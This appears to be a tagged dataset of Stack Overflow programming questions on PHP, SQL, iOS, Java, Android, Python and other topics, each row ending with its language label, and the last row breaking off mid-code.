why can t i create a dropdown list with variables   i m trying to create a dropdown list with all the values that i have inside my table  but i can t do it  the select box stay blank.    my php code  i m calling a function    job category   <pre><code>&lt;select&gt; &lt; php  function category($category_id  $category_name){  echo  &lt;option value=  .$category_name.  &gt; .$category_name. &lt;/option&gt; ;  }   &gt; &lt;/select&gt; </code></pre>   and my function   <pre><code>function selectcategory(){     connect();      $category = ( select * from job_categories );     $val  = db_array($category   a+ );     $ii   = count($val);     $ii   = $ii - 1;     for ($i = 0; $i &lt;= $ii; $i++) {         $category_id = $val[$i][ category_id ];         $category_name  = $val[$i][ category_name ];         category($category_id  $category_name);          }         } </code></pre>,php
how can i access the current line number in objective-c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/969130/how-to-print-out-the-method-name-and-line-number-and-conditionally-disable-nslog >how to print out the method name and line number and conditionally disable nslog </a><br>   <a href= https://stackoverflow.com/questions/4506870/using-macro-in-objective-c-to-log-function-name-and-line-number >using macro in objective-c to log function name and line number</a>    </blockquote>    <h2>question</h2>   what preprocessor directive or function call will help me identify what method is currently being called  or what line number is being executed in a file    <h2>background</h2>   i m trying to write a quick macro to hunt down infinite loops  i want something that can be copy-pasted without modification  and will nslog the current filename and line number  or current class and method name - really anything that will allow me to identify what loop is infinite.,objective-c
if statement sql  hi i want to run an if statement but keep getting syntax errors near all my as aliases  what am i doing wrong    <pre><code>select  if @origin =  all    (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) &lt;= 60) as onehour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 61 and 120) as twohour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 121 and 180) as threehour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 181 and 240) as fourhour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 241 and 480) as eighthour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and  datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 481 and 1440) as twentyfourhour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 1441 and 2880) as fortyeighthour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) &gt;=2881) as plusfortyeighthour  end else  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) &lt;= 60) as onehour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 61 and 120) as twohour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 121 and 180) as threehour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 181 and 240) as fourhour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 241 and 480) as eighthour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and  datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 481 and 1440) as twentyfourhour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) between 1441 and 2880) as fortyeighthour  (select count(*)  from tbl_partorder inner join tbl_repair_order on tbl_partorder.orderid = tbl_repair_order.orderid inner join tbl_property on tbl_repair_order.propref = tbl_property.propref where (tbl_partorder.raised is not null) and (tbl_partorder.raised between convert(datetime @startdate  103) and dateadd(hh 23 convert(datetime @enddate  103))) and (tbl_property.contract = @contract) and (tbl_repair_order.origin = @origin) and datediff(mi  tbl_partorder.raised  tbl_partorder.received) &gt;=2881) as plusfortyeighthour end </code></pre>,sql
how to make fgets stop reading from the keyboard  i am trying to run somebody s code and i am new to c so i have a problem with reading the input. the following loop read it from the keyboard  but when i am finished it doesn t stop   <pre><code>while (fgets(in_line  maxline  stdin) != null ) {     ... } </code></pre>   is there any kind of character that i have to enter to simulate  null   i ve tried \0 but that doesn t seem to work.     i am very sorry  this problem has probably arisen tons of times  but i just cannot find a proper explanation.,c
how to get last uploaded photo at first in photo album  i want to display the last uploaded photo at first in photo album as it is displaying at last after getting uploaded. how can i achieve this in angularjs . any help would be great.,angularjs
nsmutablearray  attempt to replace with nil object at 0  can any one help me to resolve this error..    [nsmutablearray replaceobjectatindex:withobject:]: attempt to replace with nil object at 0,iphone
.net configuration with variable settings based on deployment stage   i have a .net application this has a config file such as:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;configuration&gt;   &lt;section website= default  machine= default  configurationprefix= a &gt;     &lt;configsection name= scheduler &gt;       &lt;setting name= configurationfile &gt;~/configuration/scheduler.config&lt;/setting&gt;     &lt;/configsection&gt;     &lt;configsection name= databaseconnections &gt;       &lt;setting name= wv &gt;server=rds.amazonaws.com;database=xxx;uid=xxx;pwd=xxx;&lt;/setting&gt;     &lt;/configsection&gt;   &lt;/section&gt; &lt;/configuration&gt; </code></pre>   what is the correct way to set the <code>server</code>  <code>database</code>  <code>uid</code> and <code>pwd</code> in the databaseconnection section so that i can easily switch between staging and production without having to manually change this     any advice is much appreciated.,.net
prevent repeating background from clipping  i have the following example: <a href= http://jsfiddle.net/umxvq52j/ >http://jsfiddle.net/umxvq52j/</a> of a repeat background of stars.    css:   <pre><code>.stars {     position: absolute;     top: 0;     left: 0;     right: 0;     height: 320px;     background: url( http://i59.tinypic.com/2i95zzk.png ) left center repeat-x; } </code></pre>   what i want to do is make it so that the stars perfectly fill the space and you don t get the edges of the stars cropped! so if i m on a smaller screen it will show 2-3 stars flush  then 6-7 etc  and never show half a star.    is this possible,css
python- name     is not defined <pre><code>class main:      project_name =  something      homepage =  something      domain_name = get_domain_name(homepage)     queue_file = project_name +  /queue.txt      crawled_file = project_name +  /crawled.txt      data_file = project_name +  /data.txt      number_of_threads = 20     queue = queue()     spider(project_name  homepage  domain_name)       # create worker threads (will die when main exits)     def create_workers(self):         for _ in range(self.number_of_threads):             t = self.threading.thread(target=self.work)             t.daemon = true             t.start()       # do the next job in the queue     def work(self):         while true:             url = self.queue.get()             spider.crawl_page(self.threading.current_thread().name  url)             self.queue.task_done()       # each queued link is a new job     def create_jobs(self):         for link in self.file_to_set(self.queue_file):             self.queue.put(link)         self.queue.join()         self.crawl()       # check if there are items in the queue  if so crawl them     def crawl(self):         queued_links = self.file_to_set(self.queue_file)         if len(queued_links) &gt; 0:             print(str(len(queued_links)) +   links in the queue )             self.create_jobs() create_workers() crawl()  </code></pre>   above are my code. i have been receiving:   <blockquote>    nameerror: name  create_workers  is not defined and nameerror: name  crawl  is not defined.  </blockquote>   any help or suggestion for beginner here,python
"how set border without color value works   where does the border color come from      <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>span {
     border: 1px solid;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;span&gt;css&lt;/span&gt;</code></pre>
 </div>
 </div>",css
how to convert python 3 script into windows exe file using cx_freeze  i am trying to do something  which given python s prevalence  should be easy: convert my .py script into a windows .exe  file.      i have spent countless hours with pyinstaller and p2exe  but they don t work for me.  therefore i am trying to use cx_freeze.  my script is called sebzo.py and associated with it  in the folder wavfiles  are several .wav files.    i downloaded cx_freeze by using anaconda and the command: conda install -c pyzo cx_freeze=5.0 to re-download cx_freeze.  cx_freeze and related files ended up in c: users\owen walker\lib\site-packages.    then i wrote a setup.py file as advised by various websites and placed sebzo.py  setup.py  and the subfolder wavfiles--in the folder: users\owen walker\lib\site-packages.      then on the windows 10 command line  in c: users\owen walker\lib\site-packages  i entered the command:  python setup.py build   and got the error:  file  setup.py   line 2 in  from cx_freeze import setup  executable importerror: cannot import name  setup       the setup.py file reads:   <pre><code>import sys from cx_freeze import setup  executable setup(     name =  sebzo       version =  0.1       description =  arithmetic practice program       executables = [executable( sebzo.py )]      ) </code></pre>   i don t know what the error means or how to fix it.,python
mysql: how to fetch all columns with distinct clause on one column with latest created record  i have a db table structure   <blockquote>    id  latitude  longitude  altitude  deviceid  createddate  </blockquote>   i am trying to create a query which fetches the  all distinct deviceid which has been created at the latest..    i have tried a query   <pre><code>select distinct deviceid from `deviceposition` order by createddate desc  </code></pre>,mysql
how do i detect a null reference in c#   how do i determine if an object reference is null in c# w/o throwing an exception if it is null     i.e. if i have a class reference being passed in and i don t know if it is null or not.,c#
pass sender through uialertview   essentially i m deleting pictures inside of an app.. everything is coded etc.. etc.. so when the user holds the uibutton the image is swapped and has the x over it.  click again and image is deleted from the doc directory and db.  so it only made sense to add an alertview before deletion.. problem is that the methods i m using use (uibutton*)sender as a parameter.  i need to pass that parameter to the next method to property delete from the screen.      is there a relatively simple way to do this..     this is the function that calls the deletion..  the function that would initiate the alertview    is also returns a void and takes the same uibutton.     <pre><code>-(void)action:(uibutton*)sender {     if (edit == true)      {         [sender removefromsuperview];        [[scrollview viewwithtag:[sender tag]] removefromsuperview];         [self deletefromdoc:sender];            edit = false;         stop = false;         nslog(@ remove );     } } </code></pre>,ios
how to format data rails  i need to retrieve data from database column and put them to   <pre><code>[{1442507641 1} {1442507642 2} {1442507643 3} {1442507644 4}...]   </code></pre>   format as the plot format requires.    i m trying to do this by :   <pre><code>@data = tablename.where(:id =&gt; requiredid)   .map {|r| { r.received_date.to_i =&gt; r.value } } </code></pre>   but this returns format   <pre><code>data=[{1442507641=&amp;gt;6}  {1442507641=&amp;gt;7}  {1442507641=&amp;gt;5}  {1442507641=&amp;gt;6}  {1442507641=&amp;gt;5}  {1442507695=&amp;gt;9}  {1442507695=&amp;gt;9}  {1442507695=&amp;gt;7}  {1442507695=&amp;gt;8}] </code></pre>   how can i make the bracket as plot requires and remove the strange =&amp;gt,ruby-on-rails
python script to find the unique value  i have a script to find the unique value from 2 files    <code>1.csv</code>   <pre><code>11 12 13 14     21 22 23 24     11 32 33 34 </code></pre>   <code>2.csv</code>   <pre><code>41 42 43 44 45     51 52 53 54 55     41 62 63 64 65 </code></pre>   script is:   <pre><code>import csv import sys # count all first-column numbers. counts = {} # loop over all input files. for a in sys.argv[1:]:     # open the file for reading.     with open(a) as c:         # read it as a csv file.         reader = csv.reader(c  delimiter=   )         for row in reader:             count = counts.get(row[0]  0)             # increment the count by 1.             counts[row[0]] = count + 1 # print only those numbers that have a count of 1. print([i for i  c in counts.items() if c == 1]) </code></pre>   usage:   <pre><code>$ python 1.py 1.csv 2.csv </code></pre>   output is   <pre><code>[ 51    21 ] </code></pre>   but i want the output in different row like   <pre><code>51 21 </code></pre>,python
debug and release issue in ios application  i have created an ios application where i am having different server base <code>url</code> for <strong>release and debug</strong>.    if i run the application using <code>ad-hoc profile</code> which base <code>url</code> it will take <strong>release or debug</strong>.    i have added <code>url</code> in the key-value format in <code>build setting</code> -  <code>user-defined</code> and i am fetching it in the application.,ios
magnify zooming in a view  there will be a magnify zoom view [rounded] and the background view will be scrollable.when the background view comes under the zoom view it will be zoomed. how can i proceed that,ios
touch any place outside popup menu(self draw) to hide the uiview  i have created myself popup menu(draw an uiview and list some items). but i hope when touch any place outside the uiview  the popup menu will disappear.    i try to use   <pre><code>- (void)touchesbegan:(nsset *)touches withevent:(uievent *)event {      //uitouch* touch = [touches anyobject];   }   - (void)touchesended:(nsset *)touches withevent:(uievent *)event {  } </code></pre>   to catch the touch event  but it looks like sometime the function above are not triggered.    welcome any comment    thanks    interdev,iphone
don’t call subclass methods from a superclass constructor  consider the following code   <pre><code>/*  * to change this template  choose tools | templates  * and open the template in the editor.  */  package example0;  /**  *  * @author yccheok  */ public class main {      static class a {         private final string var;          public a() {             var = getvar();             // null pointer exception.             system.out.println( var string length is   + var.length());         }          public string getvar() {             return  string from a ;         }     }      static class b extends a {         private final string bstring;          // before b ever constructed  a constructor will be called.         // a is invoking a overriden getvar  which is trying to return         // an initialized bstring.         public b() {                             bstring =  string from b ;         }          @override         public string getvar() {             return bstring;         }     }      /**      * @param args the command line arguments      */     public static void main(string[] args) {         b b = new b();     }  } </code></pre>   currently  in my mind  there are two ways to avoid such problem.    either making class a final class.   <pre><code>static final class a {     private final string var;      public a() {         var = getvar();         // null pointer exception.         system.out.println( var string length is   + var.length());     }      public string getvar() {         return  string from a ;     } } </code></pre>   or    making getvar method final   <pre><code>static class a {     private final string var;      public a() {         var = getvar();         // null pointer exception.         system.out.println( var string length is   + var.length());     }      public final string getvar() {         return  string from a ;     } } </code></pre>   the author trying to suggest ways to prevent the above problem. however  the solution seems cumbersome as there are some rules to be followed.    <a href= http://benpryor.com/blog/2008/01/02/dont-call-subclass-methods-from-a-superclass-constructor/  rel= nofollow noreferrer >http://benpryor.com/blog/2008/01/02/dont-call-subclass-methods-from-a-superclass-constructor/</a>    beside making final and the author suggested way  is there more ways to prevent the above problem (don’t call subclass methods from a superclass constructor) from happen,java
how to draw a new uibezierpath for a cashapelayer as values of the cakeyframeanimation key change  folks     i successfully animate the <code>bounds.size</code> of a <code>cashapelayer</code> using    <pre><code>[cakeyframeanimation animationwithkeypath:@ bounds.size ] </code></pre>   (it makes the <code>cashapelayer</code> gradually bigger)    now  i need to draw a circle inside the <code>cashapelayer</code> each time based on the current size of the <code>bounds.size</code> as animation progresses.    how can this be achieved   thanks.    here is a working code (for simplicity i changed the circle with a moving bar) when anim1 and anim2 are running we want to make sure that  height  in anim2 is in sync with the changing value of  height  in anim1.   <pre><code>cashapelayer * myshapelayer = [[cashapelayer alloc] init]; myshapelayer.anchorpoint = cgpointmake(0  0); myshapelayer.bounds = cgrectmake(0  0  60  60); myshapelayer.position = cgpointmake(35  30); [myshapelayer setborderwidth:1.0]; [myshapelayer setfillcolor:[uicolor clearcolor].cgcolor]; myshapelayer.strokecolor = [[uicolor bluecolor] cgcolor]; myshapelayer.linewidth = 2; [self.view.layer addsublayer:myshapelayer];  nsmutablearray * boxsizes = [[nsmutablearray alloc] initwithobjects:                             [nsvalue valuewithcgsize:cgsizemake(50  50)]                              [nsvalue valuewithcgsize:cgsizemake(50  60)]                              [nsvalue valuewithcgsize:cgsizemake(50  70)]                              nil];  cakeyframeanimation * anim1; anim1=[cakeyframeanimation animationwithkeypath:@ bounds.size ]; anim1.values = boxsizes; anim1.duration=10.0;  cgmutablepathref pa = cgpathcreatemutable(); cgpathmovetopoint   (pa null myshapelayer.bounds.origin.x    10); cgpathaddlinetopoint(pa null myshapelayer.bounds.origin.x+10 10);  cgmutablepathref pb = cgpathcreatemutable(); cgpathmovetopoint   (pb null myshapelayer.bounds.origin.x    myshapelayer.bounds.size.height); cgpathaddlinetopoint(pb null myshapelayer.bounds.origin.x+10 myshapelayer.bounds.size.height);   nsmutablearray * pathx = [[nsmutablearray alloc] initwithobjects:                              (__bridge id) pa                               (__bridge id) pb                               nil];  cakeyframeanimation * anim2; anim2=[cakeyframeanimation animationwithkeypath:@ path ]; anim2.values = pathx; anim2.duration=10.0;   caanimationgroup* group1 = [caanimationgroup animation]; group1.animations = [nsarray arraywithobjects:anim1 anim2  nil]; group1.duration = 10.0;  [myshapelayer addanimation:group1 forkey:@ somekeyhere ]; </code></pre>,ios
is it possible to use methods  get  and  post  in one form  i am using both radio buttons and a field where people can enter their username  is it possible to do both method = post + method = get     i have got the example code down below;   <pre><code>&lt;form name= login  method= post  method= get  action=  page=purchase &gt;   &lt;input type= text  name= username &gt; &lt;br /&gt;   &lt;input type= radio  name= option_1  value= option_1 &gt;   &lt;input type= submit  title= submit &gt; &lt;/form&gt; </code></pre>,html
objective-c how to import file programmatically   how can i import file programmatically  for example:   <pre><code>@interface roommodel : nsobject  #ifdef debug  #import  filea.h    //error : missing context for method declaration  #else  #import  fileb.h   #endif  @end </code></pre>   i know what that mean: i should declare the import in front of the interface. but if i want to import the <code>.h</code> file programmatically  any ideas  thanks,ios
ios  is there a way to show mkpinannotationview without user tap the pin on mapview   as topic      i just want a way that can show the mkpinannotationview without click the pin on mapview      i try to use the method <code>- (void)selectannotation:(id &lt;mkannotation&gt;)annotation animated:(bool)animated; </code>    but it seem only can select one pin but many .... i want show all mkpinannotationview of the pins   anyone know how to do      thanks for u help .,ios
dividing just by subtracting and finding the remainder- without using the division operator  i seem have been able to figure out the first par at with the multiplication but my logic is a tad confused when trying to figure out the remainder. when i run it i just get a negative number instead of it looking like division- any help will be greatly appreciated!    <strong><em>main java class</em></strong>   <pre><code>import java.util.scanner;  public class assignment4 { public static void main(string args[]) {     scanner inputreader = new scanner(system.in);      int multiplicand  multiplier;     int dividend  divisor;     int total=0  total2 = 0  countmult  countdiv;      system.out.print( enter a multiplican:  );     multiplicand = inputreader.nextint();     system.out.print( enter a multiplier:  );     multiplier = inputreader.nextint();      countmult = multiplier;     while(multiplier &gt; 0) {          total = total + multiplicand;         multiplier--;     }      system.out.println(multiplicand +   times   + countmult +   equals   + total );      system.out.print( enter a dividend:  );     dividend = inputreader.nextint();     system.out.print( enter a divisor:  );     divisor = inputreader.nextint();      countdiv = divisor;     while(divisor &gt; 0) {          total2 = total2 - dividend;         divisor--;     }      system.out.print(dividend +   divided by   + countdiv +   equals   + total2 );   }  } </code></pre>,java
go back to the previous activity when clicked on back button in android  i am designing a login based application.i have applied on click on the submit button to go to next view.in the nextview i have back button.i want that when i click on back button view should go back to previous activity    thanks in advance tushar,android
how to associate file with my app  hello i found solution here how to assotiate file extension with my app. my manifest look    <pre><code>manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.example.micha.aa &gt;      &lt;uses-permission android:name= android.permission.write_external_storage /&gt;     &lt;uses-permission android:name= android.permission.read_external_storage /&gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:roundicon= @mipmap/ic_launcher_round          android:supportsrtl= true          android:theme= @style/apptheme &gt;         &lt;activity             android:name= .mainactivity              android:screenorientation= portrait &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;              &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.view  /&gt;                 &lt;category android:name= android.intent.category.default  /&gt;                 &lt;category android:name= android.intent.category.browsable  /&gt;                 &lt;data android:mimetype= text/plain /&gt;                 &lt;data android:scheme= file /&gt;                 &lt;data android:host= *  /&gt;                 &lt;data android:pathpattern= .*\\.ur /&gt;             &lt;/intent-filter&gt;          &lt;/activity&gt;         &lt;activity android:name= .currentitem              android:screenorientation= portrait &gt;          &lt;/activity&gt;     &lt;/application&gt;  &lt;/manifest&gt; </code></pre>   saving file look   <pre><code>if(!readwrite() || readonly()){                     dialog dial=new mydialog(this getstring(r.string.error1));                     dial.show();                 }else {                      file tosharefile = new file(getexternalcachedir()  temp.ur );                     try {                         fileoutputstream outputstream = outputstream = new fileoutputstream(tosharefile);                         objectoutputstream data = new objectoutputstream(outputstream);                         data.close();                         outputstream.close();                         saved=true;                      } catch (ioexception e) {                         dialog dial=new mydialog(this e.getmessage());                         dial.show();                         e.printstacktrace();                     } </code></pre>   when i open my file browser on s7 edge and tap on my file i get an error   cannot open the file  your mobile phone does not have app to open it.      i have read that this fragment should work   <pre><code>&lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.view  /&gt;                 &lt;category android:name= android.intent.category.default  /&gt;                 &lt;category android:name= android.intent.category.browsable  /&gt;                 &lt;data android:mimetype= text/plain /&gt;                 &lt;data android:scheme= file /&gt;                 &lt;data android:host= *  /&gt;                 &lt;data android:pathpattern= .*\\.ur /&gt;             &lt;/intent-filter&gt; </code></pre>,android
add to a vector from another object to the object that created the object  the main contains a vector. it creates a foo foo object; then foo s constructor adds 1 to the vector in main. how can this be done     foo.cpp   <pre><code>foo::foo() {   mainvector.push_back(1); } </code></pre>   main.cpp   <pre><code>int main () {   std::vector&lt;int&gt; mainvector;   foo foo;    return 0; } </code></pre>   i cant seem to wrap my head around this.,c++
can not get data from two tables  this code:   <pre><code>select * from pc usb where categories like %s     or nameoftheproductsshort like %s     or nameoftheproducts like %s     or infoproducts like %s     or infoproductsprice like %s     or infoproductspriceofship like %s     or infoproductspriceofall like %s     or tabinfoproducts like %s </code></pre>   returns this error message:   <blockquote>    column  categories  in where clause is ambiguous  </blockquote>   how can i get data from two tables,sql
multiple select sql in one table  i have table proctcategory. for example:   <pre><code>**id-idparent-name**   1-0-screen 2-1-15.6 ... </code></pre>   now i have two sql query:   <pre><code>$id=1; $query= select name from `productcategory` where id= .$id; </code></pre>   and   <pre><code>$query= select id from `productcategory` where idparent= .$id; </code></pre>   can i make one query for this problem  thanks,mysql
how to make twitter bootstrap compatible with ie8   i included below tags in my example  still it s not working. col-md-* is taking full with of the div. col-md-* width is not showing at all in developer tool.   <pre><code>&lt;meta content= text/html; charset=windows-1252  http-equiv= content-type  /&gt;     &lt;meta charset= utf-8 &gt;     &lt;meta http-equiv= x-ua-compatible  content= ie=edge &gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;     &lt;!-- html5 shim and respond.js ie8 support of html5 elements and media queries --&gt;         &lt;!-- warning: respond.js doesn t work if you view the page via file:// --&gt;         &lt;!--[if lt ie 9]&gt;           &lt;script src= html5shiv.min.js &gt;&lt;/script&gt;           &lt;script src= respond.min.js &gt;&lt;/script&gt;            &lt;link href= //netdna.bootstrapcdn.com/respond-proxy.html  id= respond-proxy  rel= respond-proxy &gt;         &lt;![endif]--&gt; </code></pre>,html
with custom adapter in android navigation drawer  the buttons dont stay colored when pressed.  i am using a custom adapter for my <code>navigationdrawer</code> called <code>customnavadapter</code>. with the standard <code>arrayadapter</code> everything worked fine. when i clicked an item in the <code>navigationdrawer</code>  closed the navigationdrawer and reopened it  the current item was still highlighted. now with my customadapter  it seems that this information is lost. i cant figure out how to keep the highlighting consistent after closing and reopening the <code>navigationdrawer</code>.    <pre><code>package com.example.pymdev.pym_app;  import android.app.activity; import android.content.intent; import android.content.sharedpreferences; import android.content.res.configuration; import android.os.bundle; import android.preference.preferencemanager; import android.support.v7.app.actionbardrawertoggle; import android.support.v4.app.fragment; import android.support.v4.view.gravitycompat; import android.support.v4.widget.drawerlayout; import android.support.v7.app.actionbar; import android.support.v7.app.appcompatactivity; import android.view.layoutinflater; import android.view.menu; import android.view.menuinflater; import android.view.menuitem; import android.view.view; import android.view.viewgroup; import android.widget.adapterview; import android.widget.arrayadapter; import android.widget.imageview; import android.widget.listview; import android.widget.textview; import android.widget.toast;  import com.facebook.login.loginmanager;  /**  * fragment used for managing interactions for and presentation of a navigation drawer.  * see the &lt;a href= https://developer.android.com/design/patterns/navigation-drawer.html#interaction &gt;  * design guidelines&lt;/a&gt; for a complete explanation of the behaviors implemented here.  */ public class navigationdrawerfragment extends fragment {      /**      * remember the position of the selected item.      */     private static final string state_selected_position =  selected_navigation_drawer_position ;      /**      * per the design guidelines  you should show the drawer on launch until the user manually      * expands it. this shared preference tracks this.      */     private static final string pref_user_learned_drawer =  navigation_drawer_learned ;      /**      * a pointer to the current callbacks instance (the activity).      */     private navigationdrawercallbacks mcallbacks;      /**      * helper component that ties the action bar to the navigation drawer.      */     private actionbardrawertoggle mdrawertoggle;      private drawerlayout mdrawerlayout;     private listview mdrawerlistview;     private view mfragmentcontainerview;      private int mcurrentselectedposition = 0;     private boolean mfromsavedinstancestate;     private boolean muserlearneddrawer;      public navigationdrawerfragment() {     }      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          // read in the flag indicating whether or not the user has demonstrated awareness of the         // drawer. see pref_user_learned_drawer for details.         sharedpreferences sp = preferencemanager.getdefaultsharedpreferences(getactivity());         muserlearneddrawer = sp.getboolean(pref_user_learned_drawer  false);          if (savedinstancestate != null) {             mcurrentselectedposition = savedinstancestate.getint(state_selected_position);             mfromsavedinstancestate = true;         }          // select either the default item (0) or the last selected item.         selectitem(mcurrentselectedposition);     }      @override     public void onactivitycreated(bundle savedinstancestate) {         super.onactivitycreated(savedinstancestate);         // indicate that this fragment would like to influence the set of actions in the action bar.         sethasoptionsmenu(true);     }     /*     @override     public view oncreateview(layoutinflater inflater  viewgroup container                               bundle savedinstancestate) {         mdrawerlistview = (listview) inflater.inflate(                 r.layout.fragment_navigation_drawer  container  false);         mdrawerlistview.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {                 selectitem(position);             }         });         mdrawerlistview.setadapter(new arrayadapter&lt;string&gt;(                 getactionbar().getthemedcontext()                  android.r.layout.simple_list_item_activated_1                  android.r.id.text1                  new string[]{                         getstring(r.string.title_section1)                          getstring(r.string.title_section2)                          getstring(r.string.title_section3)                          getstring(r.string.title_section4)                          getstring(r.string.title_section5)                          getstring(r.string.title_section6)                  }));         mdrawerlistview.setitemchecked(mcurrentselectedposition  true);         return mdrawerlistview;     }     */      @override     public view oncreateview(layoutinflater inflater  viewgroup container                               bundle savedinstancestate) {         mdrawerlistview = (listview) inflater.inflate(                 r.layout.fragment_navigation_drawer  container  false);         mdrawerlistview.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {                 selectitem(position);             }         });           //use custom adapter instead:         